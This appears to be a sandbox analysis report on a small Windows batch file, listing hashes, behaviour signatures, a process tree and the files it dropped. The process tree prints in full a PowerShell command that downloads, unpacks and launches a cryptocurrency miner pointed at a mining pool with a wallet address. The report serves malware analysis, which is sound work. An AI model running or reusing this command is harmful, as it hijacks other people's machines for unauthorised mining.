Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1798s -
max time network
1795s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
04/02/2024, 03:13
Static task
static1
Behavioral task
behavioral1
Sample
73u3Ito.bat
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
73u3Ito.bat
Resource
win10v2004-20231215-ja
General
-
Target
73u3Ito.bat
-
Size
499B
-
MD5
fe74bff27516829a88cfbc6f6e99646f
-
SHA1
0c15d859211c79910b277d07e729bec7197a60cd
-
SHA256
b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb
-
SHA512
a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 4 3940 powershell.exe 7 3940 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3436 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3436 cpuminer-sse2.exe 3436 cpuminer-sse2.exe 3436 cpuminer-sse2.exe 3436 cpuminer-sse2.exe 3436 cpuminer-sse2.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3940 powershell.exe 3940 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3940 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 5408 wrote to memory of 3940 5408 cmd.exe 85 PID 5408 wrote to memory of 3940 5408 cmd.exe 85 PID 3940 wrote to memory of 5976 3940 powershell.exe 93 PID 3940 wrote to memory of 5976 3940 powershell.exe 93 PID 5976 wrote to memory of 3436 5976 cmd.exe 95 PID 5976 wrote to memory of 3436 5976 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:5408 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 23⤵
- Suspicious use of WriteProcessMemory
PID:5976 -
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 24⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3436
-
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
327KB
MD542556778de742994225133be9f1de32b
SHA1bd13180f3ae9423cd1ce3cf768e284e2e6529bd3
SHA256c2e9147588abb9b651b26b50a95dc47bae3dd7bdd039981e088ceb0a6ce24974
SHA512265d0e8594d6cb47504f1cf7af0c61f55808bed7f41904a03170c92731c4970caf08e5cb5dd13a2c7aaa50c984f6d9d682b296e6fc7762ebcccf984a336a9be5
-
Filesize
378KB
MD5a32014c3498d3d5c5baa6ff3e1653bd4
SHA10c7d420d135c3167d3f0cbd28c06428f664eea9b
SHA256d23dd879d771f0622b042024b8909a9eb98af66f66b0be42369aa4ad959de731
SHA512d43c80bb4ec4e3239670827c71d217d330ea85ef737fe620cc6c7b7a6ae12ed7a45ff6bfb68a66fbf67136911c24b58cb78d22b5360c3b5dfaaab234c0fabf94
-
Filesize
264KB
MD541e528f64d982cbe5d81681aa305d855
SHA1cd7df731161f8d6769fc61aeacf075e0037737bb
SHA2562f8ff4e585b8ce8e5d106d90e6582612cc739d207166071cc6aafab2b78ea3cf
SHA512c928a8bc04785c7df2224148106aa2eaa548dd806fa0971ea33f5165d915f413a97d063b7fc6b6bbf514d59ade86ed6351a917b2879959b3e6da06de3d913285
-
Filesize
362KB
MD53d8fffab7b713fc5c02046aae1b50a2a
SHA1ec9977ed1f079d6294a6c7b3ab912321db79b7a1
SHA2564140d093bec689e55b7aede1791f888efb22c4449551d6d51d173c5f5bf579b1
SHA51295ef5072539c2396002f15d9198cf565819eb3d273202b1b1acef40017c15ddbace2862a7ad6a439c1776aba05f29cda1f4a043de67f887c0117b46937fb93b7
-
Filesize
365KB
MD58b65ca3a5face4ce970d8015e3e9f618
SHA14283eb59889be472ca0c760482bfb01373a389b8
SHA25658956689dfa95434020049edcb4015594ee021dedefa334e0b989754c5f823af
SHA5128528e48013f021f2abeaccd15b364f180c9d77428bd945a427780afa925c88edd91c190e06f3de1d8d7a268b66bc230e90c8d2dc4afc82cd800a794ee8882555
-
Filesize
820KB
MD5db20fef366c023cd1449339eb02d9fc9
SHA1e4619d0a78520ce08662a771ca17ba21f7811614
SHA2564a7fc553908020ccc5f5d11edb0f4e844b88712bf534284d09370e160c68901e
SHA5122e6cf43360b63d4bdc3da0de259c5fca3c4bee64e3530fa83f35580b55f93a86c41ae336a54f64045b2087bf6fdcd3082037339092e82be78e4ebe668a3c2522
-
Filesize
571KB
MD59d15973dec714e1fd6d204b075d8a359
SHA16eec26f3999e2a94f198be736d53cc161f266771
SHA256278d47d23fb755e87d0810fb2cfefc0b3d0cf8795f0aabc9844b7bf1ecfebf58
SHA51296ef600a313e88e7f5355de40c88ccee8e9e6b8a5f54a94e11ec72ee9b995bf4c2f34f232f54ffe98649bfb922d96a8a2e313b8d23a3689f1c3bd440587db908
-
Filesize
280KB
MD5c7dfc27725f647037258da2252169de3
SHA19fdda0dfaaf9ea439770cd3791ed38ad8faaccf8
SHA256b04399fca6da44254c88bf4a4e50095818a919665b2c8af57864325a20a6bba6
SHA51286c7dd4fa0e4372d884c20f15a1a22abf76b3d693a5488f86d9edec4bd1576670e8345824467efd65306882381fc5a96b561741acbfb43d79faf82a9f825d05e
-
Filesize
330KB
MD567af2ad86681f3b8553910abdb6e0a0b
SHA18b8f8b8b3dcde6141c51c18a173b19dc3a8ba5ca
SHA256b706436a5a9eb0a40aa53f5b329330cab6d2ffaa7b86ca694df49d55c1df52a7
SHA51255228fb2a586d1180993616938aea0f665cbc34232d859c6b4a08d1917ac3c6cffd2fd51eb38a0a7aa52f7a8af66698c9ba99fc785147323fb8ed6b99a989495
-
Filesize
410KB
MD5c819507b92320a0be7c43099bd874696
SHA1f7e840f8a032ab8843535439edeab84978a6318f
SHA256204896f9ae4a770e45c8d47869d7485d0035a1affe5b7f46a49cd82e4be39cfa
SHA5122adca3679739c6045247cf14fe118d7a4c31fc5638264a20ca9df22245624ff8eb8892e0afb62bae223bda5914d504cb6d38d1524e243465287f6f31e0e681ee
-
Filesize
421KB
MD5ce6b2e791656f72671c3f5a91a07da09
SHA1352cbcdb2f204403ad29aa3ff036468785c02809
SHA25640fa1f9ffc7992624fb479b1a5b7d18cf20a16d8e2cf9caadbf2fb053fbb900b
SHA51259351979fd1f10b1b0c45c92bff6817aeddf02c4010312383868397832baa201e426f0c520b04760cf6a5e0cd755609fe80a5043069ee9fef18f768f53c9562c